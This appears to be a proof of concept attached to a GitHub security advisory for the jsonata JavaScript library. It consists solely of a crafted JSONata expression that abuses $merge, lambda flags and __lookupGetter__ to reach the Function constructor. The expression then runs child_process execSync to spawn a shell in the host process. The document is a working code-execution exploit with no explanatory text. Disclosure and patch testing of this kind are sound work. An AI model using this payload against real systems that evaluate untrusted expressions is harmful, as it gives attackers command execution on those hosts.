GHSA-66mm-25pp-rfff

import jsonata from "jsonata"; const expression = jsonata(` ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.*)[1]; $fn := function($a) { ( $a({"value":"lg"},"__lookupGetter__"); $a({"value":"x"},"x"); ) }; $nop := function() { $ }; $capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | }; $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|; $func := $m([$,{"_jsonata_lambda":true}]); $func(); $gP := $obj.lg("__proto__"); $afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()}; ) `); await expression.evaluate({});